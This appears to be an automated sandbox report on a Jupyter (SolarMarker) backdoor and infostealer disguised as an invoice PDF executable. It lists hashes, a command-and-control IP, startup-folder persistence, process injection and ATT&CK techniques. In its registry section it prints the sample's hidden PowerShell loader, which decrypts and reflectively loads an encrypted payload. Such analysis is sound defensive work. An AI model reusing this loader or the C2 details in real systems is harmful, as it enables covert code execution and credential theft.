jupyter | dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f

General

Target

Tools-Invoice.pdf.exe
Size

272.0MB
MD5

19ec298f977fdc71f195a4782fa8b156
SHA1

4a6035ce7510a7cc02bb785244e2cfcaec89131d
SHA256

32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
SHA512

d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
SSDEEP

49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mtuPyeBvLFbxJX.hhPuoJMjTnLilzU	Tools-Invoice.pdf.exe

Executes dropped EXE 1 IoCs

Processes:

TvtuziedoTs.exe

pid process

1052 TvtuziedoTs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1052	TvtuziedoTs.exe

Modifies registry class 7 IoCs

Processes:

Tools-Invoice.pdf.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\zecykbcflkswdmgvggmt\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\zecykbcflkswdmgvggmt\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\zecykbcflkswdmgvggmt\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxtdHVQeWVCdkxGYnhKWC5oaFB1b0pNalRuTGlselU='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\.hhpuojmjtnlilzu	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\.hhpuojmjtnlilzu\ = "zecykbcflkswdmgvggmt"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\zecykbcflkswdmgvggmt\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\zecykbcflkswdmgvggmt	Tools-Invoice.pdf.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Tools-Invoice.pdf.exe

pid process

4716 Tools-Invoice.pdf.exe
4716 Tools-Invoice.pdf.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Tools-Invoice.pdf.exe

description pid process

Token: SeDebugPrivilege 4716 Tools-Invoice.pdf.exe

pid	process
4716	Tools-Invoice.pdf.exe
4716	Tools-Invoice.pdf.exe

description	pid	process
Token: SeDebugPrivilege	4716	Tools-Invoice.pdf.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

Tools-Invoice.pdf.exe

description	pid	process	target process
PID 4592 wrote to memory of 1052	4592	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4592 wrote to memory of 1052	4592	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4592 wrote to memory of 1052	4592	Tools-Invoice.pdf.exe	TvtuziedoTs.exe
PID 4592 wrote to memory of 4716	4592	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe
PID 4592 wrote to memory of 4716	4592	Tools-Invoice.pdf.exe	Tools-Invoice.pdf.exe

C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe
  "C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"
  2⤵
  - Executes dropped EXE
  PID:1052
- C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Tools-Invoice.pdf.exe.log

Filesize
425B

MD5
2ead231ce66abe78de975d1b05d590a4

SHA1
c269fde7c1d36005928089b0689cecd0a2bc1e1c

SHA256
71879c54d43afa910afbabfc59235151a78b42049f79f152773fbfca74b2f294

SHA512
038480a37fe4227fe04f7323fea842037df486901aab0529145046718ffb48c99e62107f534857ca0023dbb5b72be778bc4911ae2873c01ad826865c44537fdd

Download Submit
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1052-22-0x0000000002010000-0x0000000002011000-memory.dmp

Filesize
4KB

Download
memory/1052-11-0x0000000002010000-0x0000000002011000-memory.dmp

Filesize
4KB

Download
memory/1052-12-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/4592-0-0x0000000000FD0000-0x000000000120E000-memory.dmp

Filesize
2.2MB

Download
memory/4592-1-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

Filesize
9.9MB

Download
memory/4592-9-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

Filesize
9.9MB

Download
memory/4716-13-0x000000001B1B0000-0x000000001B1C0000-memory.dmp

Filesize
64KB

Download
memory/4716-14-0x000000001B150000-0x000000001B172000-memory.dmp

Filesize
136KB

Download
memory/4716-15-0x000000001B6B0000-0x000000001B726000-memory.dmp

Filesize
472KB

Download
memory/4716-16-0x000000001B1B0000-0x000000001B1C0000-memory.dmp

Filesize
64KB

Download
memory/4716-19-0x000000001C600000-0x000000001C6B4000-memory.dmp

Filesize
720KB

Download
memory/4716-20-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

Filesize
9.9MB

Download
memory/4716-10-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

Filesize
9.9MB

Download
memory/4716-25-0x000000001B1B0000-0x000000001B1C0000-memory.dmp

Filesize
64KB

Download
memory/4716-26-0x000000001B1B0000-0x000000001B1C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads